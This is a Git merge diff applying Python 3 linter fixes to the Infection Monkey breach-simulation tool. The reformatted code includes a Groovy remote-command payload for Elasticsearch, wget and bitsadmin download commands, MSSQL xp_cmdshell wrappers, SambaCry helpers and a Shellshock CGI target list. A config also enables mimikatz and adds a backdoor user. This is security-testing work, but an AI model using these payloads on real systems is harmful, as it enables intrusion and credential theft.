Merge pull request #470 from guardicore/393/python-3-fix-linter-warnings

[WIP] 393/python 3 fix linter warnings
This commit is contained in:
Shay Nehmad 2019-11-04 15:29:48 +02:00 committed by GitHub
commit 2773002af7
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
206 changed files with 2342 additions and 2004 deletions

View File

@ -4,14 +4,12 @@ import urllib.request
import urllib.error import urllib.error
import logging import logging
__author__ = 'itay.mizeretz' __author__ = 'itay.mizeretz'
AWS_INSTANCE_METADATA_LOCAL_IP_ADDRESS = "169.254.169.254" AWS_INSTANCE_METADATA_LOCAL_IP_ADDRESS = "169.254.169.254"
AWS_LATEST_METADATA_URI_PREFIX = 'http://{0}/latest/'.format(AWS_INSTANCE_METADATA_LOCAL_IP_ADDRESS) AWS_LATEST_METADATA_URI_PREFIX = 'http://{0}/latest/'.format(AWS_INSTANCE_METADATA_LOCAL_IP_ADDRESS)
ACCOUNT_ID_KEY = "accountId" ACCOUNT_ID_KEY = "accountId"
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
@ -29,8 +27,8 @@ class AwsInstance(object):
self.instance_id = urllib.request.urlopen( self.instance_id = urllib.request.urlopen(
AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/instance-id', timeout=2).read().decode() AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/instance-id', timeout=2).read().decode()
self.region = self._parse_region( self.region = self._parse_region(
urllib.request.urlopen(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read(). urllib.request.urlopen(
decode()) AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read().decode())
except (urllib.error.URLError, IOError) as e: except (urllib.error.URLError, IOError) as e:
logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e)) logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e))

View File

@ -14,7 +14,6 @@ COMPUTER_NAME_KEY = 'ComputerName'
PLATFORM_TYPE_KEY = 'PlatformType' PLATFORM_TYPE_KEY = 'PlatformType'
IP_ADDRESS_KEY = 'IPAddress' IP_ADDRESS_KEY = 'IPAddress'
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)

View File

@ -3,7 +3,6 @@ from .aws_service import filter_instance_data_from_aws_response
import json import json
__author__ = 'shay.nehmad' __author__ = 'shay.nehmad'

View File

@ -1,6 +1,5 @@
from common.cmd.cmd_result import CmdResult from common.cmd.cmd_result import CmdResult
__author__ = 'itay.mizeretz' __author__ = 'itay.mizeretz'

View File

@ -15,7 +15,7 @@ class AwsCmdRunner(CmdRunner):
Class for running commands on a remote AWS machine Class for running commands on a remote AWS machine
""" """
def __init__(self, is_linux, instance_id, region = None): def __init__(self, is_linux, instance_id, region=None):
super(AwsCmdRunner, self).__init__(is_linux) super(AwsCmdRunner, self).__init__(is_linux)
self.instance_id = instance_id self.instance_id = instance_id
self.region = region self.region = region

View File

@ -1,2 +1,3 @@
from .zero_trust_consts import populate_mappings from .zero_trust_consts import populate_mappings
populate_mappings() populate_mappings()

View File

@ -1,2 +1 @@
ES_SERVICE = 'elastic-search-9200' ES_SERVICE = 'elastic-search-9200'

View File

@ -58,7 +58,7 @@ PRINCIPLES = {
PRINCIPLE_DATA_TRANSIT: "Secure data at transit by encrypting it.", PRINCIPLE_DATA_TRANSIT: "Secure data at transit by encrypting it.",
PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES: "Configure network policies to be as restrictive as possible.", PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES: "Configure network policies to be as restrictive as possible.",
PRINCIPLE_USERS_MAC_POLICIES: "Users' permissions to the network and to resources should be MAC (Mandetory " PRINCIPLE_USERS_MAC_POLICIES: "Users' permissions to the network and to resources should be MAC (Mandetory "
"Access Control) only.", "Access Control) only.",
} }
POSSIBLE_STATUSES_KEY = "possible_statuses" POSSIBLE_STATUSES_KEY = "possible_statuses"
@ -68,7 +68,8 @@ FINDING_EXPLANATION_BY_STATUS_KEY = "finding_explanation"
TEST_EXPLANATION_KEY = "explanation" TEST_EXPLANATION_KEY = "explanation"
TESTS_MAP = { TESTS_MAP = {
TEST_SEGMENTATION: { TEST_SEGMENTATION: {
TEST_EXPLANATION_KEY: "The Monkey tried to scan and find machines that it can communicate with from the machine it's running on, that belong to different network segments.", TEST_EXPLANATION_KEY: "The Monkey tried to scan and find machines that it can communicate with from the machine it's "
"running on, that belong to different network segments.",
FINDING_EXPLANATION_BY_STATUS_KEY: { FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey performed cross-segment communication. Check firewall rules and logs.", STATUS_FAILED: "Monkey performed cross-segment communication. Check firewall rules and logs.",
STATUS_PASSED: "Monkey couldn't perform cross-segment communication. If relevant, check firewall logs." STATUS_PASSED: "Monkey couldn't perform cross-segment communication. If relevant, check firewall logs."
@ -78,7 +79,8 @@ TESTS_MAP = {
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_PASSED, STATUS_FAILED] POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_PASSED, STATUS_FAILED]
}, },
TEST_MALICIOUS_ACTIVITY_TIMELINE: { TEST_MALICIOUS_ACTIVITY_TIMELINE: {
TEST_EXPLANATION_KEY: "The Monkeys in the network performed malicious-looking actions, like scanning and attempting exploitation.", TEST_EXPLANATION_KEY: "The Monkeys in the network performed malicious-looking actions, like scanning and attempting "
"exploitation.",
FINDING_EXPLANATION_BY_STATUS_KEY: { FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_VERIFY: "Monkey performed malicious actions in the network. Check SOC logs and alerts." STATUS_VERIFY: "Monkey performed malicious actions in the network. Check SOC logs and alerts."
}, },
@ -89,8 +91,10 @@ TESTS_MAP = {
TEST_ENDPOINT_SECURITY_EXISTS: { TEST_ENDPOINT_SECURITY_EXISTS: {
TEST_EXPLANATION_KEY: "The Monkey checked if there is an active process of an endpoint security software.", TEST_EXPLANATION_KEY: "The Monkey checked if there is an active process of an endpoint security software.",
FINDING_EXPLANATION_BY_STATUS_KEY: { FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey didn't find ANY active endpoint security processes. Install and activate anti-virus software on endpoints.", STATUS_FAILED: "Monkey didn't find ANY active endpoint security processes. Install and activate anti-virus "
STATUS_PASSED: "Monkey found active endpoint security processes. Check their logs to see if Monkey was a security concern." "software on endpoints.",
STATUS_PASSED: "Monkey found active endpoint security processes. Check their logs to see if Monkey was a "
"security concern. "
}, },
PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY, PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY,
PILLARS_KEY: [DEVICES], PILLARS_KEY: [DEVICES],
@ -99,7 +103,8 @@ TESTS_MAP = {
TEST_MACHINE_EXPLOITED: { TEST_MACHINE_EXPLOITED: {
TEST_EXPLANATION_KEY: "The Monkey tries to exploit machines in order to breach them and propagate in the network.", TEST_EXPLANATION_KEY: "The Monkey tries to exploit machines in order to breach them and propagate in the network.",
FINDING_EXPLANATION_BY_STATUS_KEY: { FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see activity recognized and see which endpoints were compromised.", STATUS_FAILED: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see activity recognized and see "
"which endpoints were compromised.",
STATUS_PASSED: "Monkey didn't manage to exploit an endpoint." STATUS_PASSED: "Monkey didn't manage to exploit an endpoint."
}, },
PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY, PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY,
@ -109,7 +114,8 @@ TESTS_MAP = {
TEST_SCHEDULED_EXECUTION: { TEST_SCHEDULED_EXECUTION: {
TEST_EXPLANATION_KEY: "The Monkey was executed in a scheduled manner.", TEST_EXPLANATION_KEY: "The Monkey was executed in a scheduled manner.",
FINDING_EXPLANATION_BY_STATUS_KEY: { FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_VERIFY: "Monkey was executed in a scheduled manner. Locate this activity in User-Behavior security software.", STATUS_VERIFY: "Monkey was executed in a scheduled manner. Locate this activity in User-Behavior security "
"software.",
STATUS_PASSED: "Monkey failed to execute in a scheduled manner." STATUS_PASSED: "Monkey failed to execute in a scheduled manner."
}, },
PRINCIPLE_KEY: PRINCIPLE_USER_BEHAVIOUR, PRINCIPLE_KEY: PRINCIPLE_USER_BEHAVIOUR,
@ -120,7 +126,8 @@ TESTS_MAP = {
TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to ElasticSearch instances.", TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to ElasticSearch instances.",
FINDING_EXPLANATION_BY_STATUS_KEY: { FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey accessed ElasticSearch instances. Limit access to data by encrypting it in in-transit.", STATUS_FAILED: "Monkey accessed ElasticSearch instances. Limit access to data by encrypting it in in-transit.",
STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such instances, look for alerts that indicate attempts to access them." STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such instances, look for alerts "
"that indicate attempts to access them. "
}, },
PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT, PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT,
PILLARS_KEY: [DATA], PILLARS_KEY: [DATA],
@ -130,7 +137,8 @@ TESTS_MAP = {
TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to HTTP servers.", TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to HTTP servers.",
FINDING_EXPLANATION_BY_STATUS_KEY: { FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey accessed HTTP servers. Limit access to data by encrypting it in in-transit.", STATUS_FAILED: "Monkey accessed HTTP servers. Limit access to data by encrypting it in in-transit.",
STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, look for alerts that indicate attempts to access them." STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, look for alerts that indicate "
"attempts to access them. "
}, },
PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT, PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT,
PILLARS_KEY: [DATA], PILLARS_KEY: [DATA],
@ -139,7 +147,8 @@ TESTS_MAP = {
TEST_TUNNELING: { TEST_TUNNELING: {
TEST_EXPLANATION_KEY: "The Monkey tried to tunnel traffic using other monkeys.", TEST_EXPLANATION_KEY: "The Monkey tried to tunnel traffic using other monkeys.",
FINDING_EXPLANATION_BY_STATUS_KEY: { FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey tunneled its traffic using other monkeys. Your network policies are too permissive - restrict them." STATUS_FAILED: "Monkey tunneled its traffic using other monkeys. Your network policies are too permissive - "
"restrict them. "
}, },
PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES, PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES,
PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS], PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS],
@ -148,7 +157,8 @@ TESTS_MAP = {
TEST_COMMUNICATE_AS_NEW_USER: { TEST_COMMUNICATE_AS_NEW_USER: {
TEST_EXPLANATION_KEY: "The Monkey tried to create a new user and communicate with the internet from it.", TEST_EXPLANATION_KEY: "The Monkey tried to create a new user and communicate with the internet from it.",
FINDING_EXPLANATION_BY_STATUS_KEY: { FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey caused a new user to access the network. Your network policies are too permissive - restrict them to MAC only.", STATUS_FAILED: "Monkey caused a new user to access the network. Your network policies are too permissive - "
"restrict them to MAC only.",
STATUS_PASSED: "Monkey wasn't able to cause a new user to access the network." STATUS_PASSED: "Monkey wasn't able to cause a new user to access the network."
}, },
PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES, PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES,

View File

@ -59,7 +59,7 @@ class NetworkRange(object, metaclass=ABCMeta):
ips = address_str.split('-') ips = address_str.split('-')
try: try:
ipaddress.ip_address(ips[0]) and ipaddress.ip_address(ips[1]) ipaddress.ip_address(ips[0]) and ipaddress.ip_address(ips[1])
except ValueError as e: except ValueError:
return False return False
return True return True
return False return False
@ -173,4 +173,3 @@ class SingleIpRange(NetworkRange):
return None, string_ return None, string_
# If a string_ was entered instead of IP we presume that it was domain name and translate it # If a string_ was entered instead of IP we presume that it was domain name and translate it
return ip, domain_name return ip, domain_name

View File

@ -1,4 +1,4 @@
from common.network.network_range import * from common.network.network_range import CidrRange
from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst
from monkey_island.cc.testing.IslandTestCase import IslandTestCase from monkey_island.cc.testing.IslandTestCase import IslandTestCase

View File

@ -1,10 +1,10 @@
# abstract, static method decorator # abstract, static method decorator
# noinspection PyPep8Naming
class abstractstatic(staticmethod): class abstractstatic(staticmethod):
__slots__ = () __slots__ = ()
def __init__(self, function): def __init__(self, function):
super(abstractstatic, self).__init__(function) super(abstractstatic, self).__init__(function)
function.__isabstractmethod__ = True function.__isabstractmethod__ = True
__isabstractmethod__ = True __isabstractmethod__ = True

View File

@ -80,4 +80,3 @@ class MongoUtils:
continue continue
return row return row

View File

@ -74,7 +74,7 @@ class Configuration(object):
val_type = type(value) val_type = type(value)
if val_type is types.FunctionType or val_type is types.MethodType: if isinstance(val_type, types.FunctionType) or isinstance(val_type, types.MethodType):
continue continue
if val_type in (type, ABCMeta): if val_type in (type, ABCMeta):

View File

@ -304,7 +304,7 @@ class ControlClient(object):
try: try:
target_addr, target_port = my_proxy.split(':', 1) target_addr, target_port = my_proxy.split(':', 1)
target_port = int(target_port) target_port = int(target_port)
except: except ValueError:
return None return None
else: else:
proxy_class = HTTPConnectProxy proxy_class = HTTPConnectProxy

View File

@ -26,6 +26,7 @@ else:
try: try:
WindowsError WindowsError
except NameError: except NameError:
# noinspection PyShadowingBuiltins
WindowsError = IOError WindowsError = IOError
__author__ = 'itamar' __author__ = 'itamar'
@ -103,17 +104,17 @@ class MonkeyDrops(object):
dropper_date_reference_path = WormConfiguration.dropper_date_reference_path_linux dropper_date_reference_path = WormConfiguration.dropper_date_reference_path_linux
try: try:
ref_stat = os.stat(dropper_date_reference_path) ref_stat = os.stat(dropper_date_reference_path)
except OSError as exc: except OSError:
LOG.warning("Cannot set reference date using '%s', file not found", LOG.warning("Cannot set reference date using '%s', file not found",
dropper_date_reference_path) dropper_date_reference_path)
else: else:
try: try:
os.utime(self._config['destination_path'], os.utime(self._config['destination_path'],
(ref_stat.st_atime, ref_stat.st_mtime)) (ref_stat.st_atime, ref_stat.st_mtime))
except: except OSError:
LOG.warning("Cannot set reference date to destination file") LOG.warning("Cannot set reference date to destination file")
monkey_options =\ monkey_options = \
build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth) build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth)
if OperatingSystem.Windows == SystemInfoCollector.get_os(): if OperatingSystem.Windows == SystemInfoCollector.get_os():

View File

@ -1,109 +1,109 @@
{ {
"should_exploit": true, "should_exploit": true,
"command_servers": [ "command_servers": [
"192.0.2.0:5000" "192.0.2.0:5000"
], ],
"internet_services": [ "internet_services": [
"monkey.guardicore.com", "monkey.guardicore.com",
"www.google.com" "www.google.com"
], ],
"keep_tunnel_open_time": 60, "keep_tunnel_open_time": 60,
"subnet_scan_list": [ "subnet_scan_list": [
], ],
"inaccessible_subnets": [], "inaccessible_subnets": [],
"blocked_ips": [], "blocked_ips": [],
"current_server": "192.0.2.0:5000", "current_server": "192.0.2.0:5000",
"alive": true, "alive": true,
"collect_system_info": true, "collect_system_info": true,
"extract_azure_creds": true, "extract_azure_creds": true,
"should_use_mimikatz": true, "should_use_mimikatz": true,
"depth": 2, "depth": 2,
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
"dropper_date_reference_path_linux": "/bin/sh", "dropper_date_reference_path_linux": "/bin/sh",
"dropper_log_path_windows": "%temp%\\~df1562.tmp", "dropper_log_path_windows": "%temp%\\~df1562.tmp",
"dropper_log_path_linux": "/tmp/user-1562", "dropper_log_path_linux": "/tmp/user-1562",
"dropper_set_date": true, "dropper_set_date": true,
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
"dropper_target_path_linux": "/tmp/monkey", "dropper_target_path_linux": "/tmp/monkey",
"monkey_dir_name": "monkey_dir", "monkey_dir_name": "monkey_dir",
"kill_file_path_linux": "/var/run/monkey.not", "kill_file_path_linux": "/var/run/monkey.not",
"kill_file_path_windows": "%windir%\\monkey.not", "kill_file_path_windows": "%windir%\\monkey.not",
"dropper_try_move_first": true, "dropper_try_move_first": true,
"exploiter_classes": [ "exploiter_classes": [
"SSHExploiter", "SSHExploiter",
"SmbExploiter", "SmbExploiter",
"WmiExploiter", "WmiExploiter",
"ShellShockExploiter", "ShellShockExploiter",
"ElasticGroovyExploiter", "ElasticGroovyExploiter",
"SambaCryExploiter", "SambaCryExploiter",
"Struts2Exploiter", "Struts2Exploiter",
"WebLogicExploiter", "WebLogicExploiter",
"HadoopExploiter", "HadoopExploiter",
"VSFTPDExploiter", "VSFTPDExploiter",
"MSSQLExploiter" "MSSQLExploiter"
], ],
"finger_classes": [ "finger_classes": [
"SSHFinger", "SSHFinger",
"PingScanner", "PingScanner",
"HTTPFinger", "HTTPFinger",
"SMBFinger", "SMBFinger",
"MySQLFinger", "MySQLFinger",
"MSSQLFingerprint", "MSSQLFingerprint",
"ElasticFinger" "ElasticFinger"
], ],
"max_iterations": 3, "max_iterations": 3,
"monkey_log_path_windows": "%temp%\\~df1563.tmp", "monkey_log_path_windows": "%temp%\\~df1563.tmp",
"monkey_log_path_linux": "/tmp/user-1563", "monkey_log_path_linux": "/tmp/user-1563",
"send_log_to_server": true, "send_log_to_server": true,
"ms08_067_exploit_attempts": 5, "ms08_067_exploit_attempts": 5,
"user_to_add": "Monkey_IUSER_SUPPORT", "user_to_add": "Monkey_IUSER_SUPPORT",
"remote_user_pass": "Password1!", "remote_user_pass": "Password1!",
"ping_scan_timeout": 10000, "ping_scan_timeout": 10000,
"smb_download_timeout": 300, "smb_download_timeout": 300,
"smb_service_name": "InfectionMonkey", "smb_service_name": "InfectionMonkey",
"retry_failed_explotation": true, "retry_failed_explotation": true,
"self_delete_in_cleanup": true, "self_delete_in_cleanup": true,
"serialize_config": false, "serialize_config": false,
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}",
"skip_exploit_if_file_exist": false, "skip_exploit_if_file_exist": false,
"exploit_user_list": [], "exploit_user_list": [],
"exploit_password_list": [], "exploit_password_list": [],
"exploit_lm_hash_list": [], "exploit_lm_hash_list": [],
"exploit_ntlm_hash_list": [], "exploit_ntlm_hash_list": [],
"exploit_ssh_keys": [], "exploit_ssh_keys": [],
"sambacry_trigger_timeout": 5, "sambacry_trigger_timeout": 5,
"sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"], "sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"],
"sambacry_shares_not_to_check": ["IPC$", "print$"], "sambacry_shares_not_to_check": ["IPC$", "print$"],
"local_network_scan": false, "local_network_scan": false,
"tcp_scan_get_banner": true, "tcp_scan_get_banner": true,
"tcp_scan_interval": 0, "tcp_scan_interval": 0,
"tcp_scan_timeout": 10000, "tcp_scan_timeout": 10000,
"tcp_target_ports": [ "tcp_target_ports": [
22, 22,
445, 445,
135, 135,
3389, 3389,
80, 80,
8080, 8080,
443, 443,
3306, 3306,
8008, 8008,
9200, 9200,
7001, 7001,
8088 8088
], ],
"timeout_between_iterations": 10, "timeout_between_iterations": 10,
"use_file_logging": true, "use_file_logging": true,
"victims_max_exploit": 15, "victims_max_exploit": 15,
"victims_max_find": 100, "victims_max_find": 100,
"post_breach_actions" : [] "post_breach_actions": []
custom_PBA_linux_cmd = "" custom_PBA_linux_cmd = ""
custom_PBA_windows_cmd = "" custom_PBA_windows_cmd = ""
PBA_linux_filename = None PBA_linux_filename = None
PBA_windows_filename = None PBA_windows_filename = None
} }

View File

@ -20,11 +20,11 @@ class HostExploiter(object, metaclass=ABCMeta):
def __init__(self, host): def __init__(self, host):
self._config = infection_monkey.config.WormConfiguration self._config = infection_monkey.config.WormConfiguration
self.exploit_info = {'display_name': self._EXPLOITED_SERVICE, self.exploit_info = {'display_name': self._EXPLOITED_SERVICE,
'started': '', 'started': '',
'finished': '', 'finished': '',
'vulnerable_urls': [], 'vulnerable_urls': [],
'vulnerable_ports': [], 'vulnerable_ports': [],
'executed_cmds': []} 'executed_cmds': []}
self.exploit_attempts = [] self.exploit_attempts = []
self.host = host self.host = host
@ -43,7 +43,7 @@ class HostExploiter(object, metaclass=ABCMeta):
def report_login_attempt(self, result, user, password='', lm_hash='', ntlm_hash='', ssh_key=''): def report_login_attempt(self, result, user, password='', lm_hash='', ntlm_hash='', ssh_key=''):
self.exploit_attempts.append({'result': result, 'user': user, 'password': password, self.exploit_attempts.append({'result': result, 'user': user, 'password': password,
'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash, 'ssh_key': ssh_key}) 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash, 'ssh_key': ssh_key})
def exploit_host(self): def exploit_host(self):
self.pre_exploit() self.pre_exploit()

View File

@ -8,7 +8,7 @@ import json
import logging import logging
import requests import requests
from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.model import WGET_HTTP_UPLOAD, BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\ from infection_monkey.model import WGET_HTTP_UPLOAD, BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX, \
DOWNLOAD_TIMEOUT DOWNLOAD_TIMEOUT
from infection_monkey.network.elasticfinger import ES_PORT from infection_monkey.network.elasticfinger import ES_PORT
from common.data.network_consts import ES_SERVICE from common.data.network_consts import ES_SERVICE
@ -26,8 +26,8 @@ class ElasticGroovyExploiter(WebRCE):
# attack URLs # attack URLs
MONKEY_RESULT_FIELD = "monkey_result" MONKEY_RESULT_FIELD = "monkey_result"
GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD
JAVA_CMD = GENERIC_QUERY \ JAVA_CMD = \
% """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()""" GENERIC_QUERY % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
_TARGET_OS_TYPE = ['linux', 'windows'] _TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Elastic search' _EXPLOITED_SERVICE = 'Elastic search'
@ -39,7 +39,7 @@ class ElasticGroovyExploiter(WebRCE):
exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config() exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config()
exploit_config['dropper'] = True exploit_config['dropper'] = True
exploit_config['url_extensions'] = ['_search?pretty'] exploit_config['url_extensions'] = ['_search?pretty']
exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX +" " + BITSADMIN_CMDLINE_HTTP} exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX + " " + BITSADMIN_CMDLINE_HTTP}
return exploit_config return exploit_config
def get_open_service_ports(self, port_list, names): def get_open_service_ports(self, port_list, names):
@ -83,7 +83,7 @@ class ElasticGroovyExploiter(WebRCE):
# Overridden web_rce method that adds CMD prefix for windows command # Overridden web_rce method that adds CMD prefix for windows command
try: try:
if 'windows' in self.host.os['type']: if 'windows' in self.host.os['type']:
resp = self.exploit(url, CMD_PREFIX+" "+CHECK_COMMAND) resp = self.exploit(url, CMD_PREFIX + " " + CHECK_COMMAND)
else: else:
resp = self.exploit(url, CHECK_COMMAND) resp = self.exploit(url, CHECK_COMMAND)
if resp is True: if resp is True:

View File

@ -17,7 +17,6 @@ LOG = logging.getLogger(__name__)
class MSSQLExploiter(HostExploiter): class MSSQLExploiter(HostExploiter):
_EXPLOITED_SERVICE = 'MSSQL' _EXPLOITED_SERVICE = 'MSSQL'
_TARGET_OS_TYPE = ['windows'] _TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
@ -143,7 +142,7 @@ class MSSQLExploiter(HostExploiter):
def get_monkey_download_command(self): def get_monkey_download_command(self):
dst_path = get_monkey_dest_path(self.monkey_server.http_path) dst_path = get_monkey_dest_path(self.monkey_server.http_path)
monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.\ monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND. \
format(http_path=self.monkey_server.http_path, dst_path=dst_path) format(http_path=self.monkey_server.http_path, dst_path=dst_path)
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path) suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path)
@ -192,5 +191,5 @@ class MSSQLLimitedSizePayload(LimitedSizePayload):
def __init__(self, command, prefix="", suffix=""): def __init__(self, command, prefix="", suffix=""):
super(MSSQLLimitedSizePayload, self).__init__(command=command, super(MSSQLLimitedSizePayload, self).__init__(command=command,
max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE, max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE,
prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START+prefix, prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START + prefix,
suffix=suffix+MSSQLExploiter.XP_CMDSHELL_COMMAND_END) suffix=suffix + MSSQLExploiter.XP_CMDSHELL_COMMAND_END)

View File

@ -230,13 +230,13 @@ class SambaCryExploiter(HostExploiter):
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"): elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"):
is_vulnerable = True is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "4") and ( elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "4") and (
samba_version_parts[1] <= "13"): samba_version_parts[1] <= "13"):
is_vulnerable = True is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "5") and ( elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "5") and (
samba_version_parts[1] <= "9"): samba_version_parts[1] <= "9"):
is_vulnerable = True is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and ( elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (
samba_version_parts[1] <= "3"): samba_version_parts[1] <= "3"):
is_vulnerable = True is_vulnerable = True
else: else:
# If pattern doesn't match we can't tell what version it is. Better try # If pattern doesn't match we can't tell what version it is. Better try
@ -448,7 +448,12 @@ class SambaCryExploiter(HostExploiter):
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate) return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
else: else:
return SambaCryExploiter.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, return SambaCryExploiter.create_smb(
shareMode=FILE_SHARE_READ, smb_client,
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, treeId,
fileAttributes=0) pathName,
desiredAccess=FILE_READ_DATA,
shareMode=FILE_SHARE_READ,
creationOptions=FILE_OPEN,
creationDisposition=FILE_NON_DIRECTORY_FILE,
fileAttributes=0)

View File

@ -132,7 +132,7 @@ class ShellShockExploiter(HostExploiter):
self._remove_lock_file(exploit, url, header) self._remove_lock_file(exploit, url, header)
if (http_thread.downloads != 1) or ( if (http_thread.downloads != 1) or (
'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)): 'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)):
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__) LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
continue continue

View File

@ -1,406 +1,408 @@
# resource for shellshock attack # resource for shellshock attack
# copied and transformed from https://github.com/nccgroup/shocker/blob/master/shocker-cgi_list # copied and transformed from https://github.com/nccgroup/shocker/blob/master/shocker-cgi_list
CGI_FILES = (r'/', CGI_FILES = (
r'/admin.cgi', r'/',
r'/administrator.cgi', r'/admin.cgi',
r'/agora.cgi', r'/administrator.cgi',
r'/aktivate/cgi-bin/catgy.cgi', r'/agora.cgi',
r'/analyse.cgi', r'/aktivate/cgi-bin/catgy.cgi',
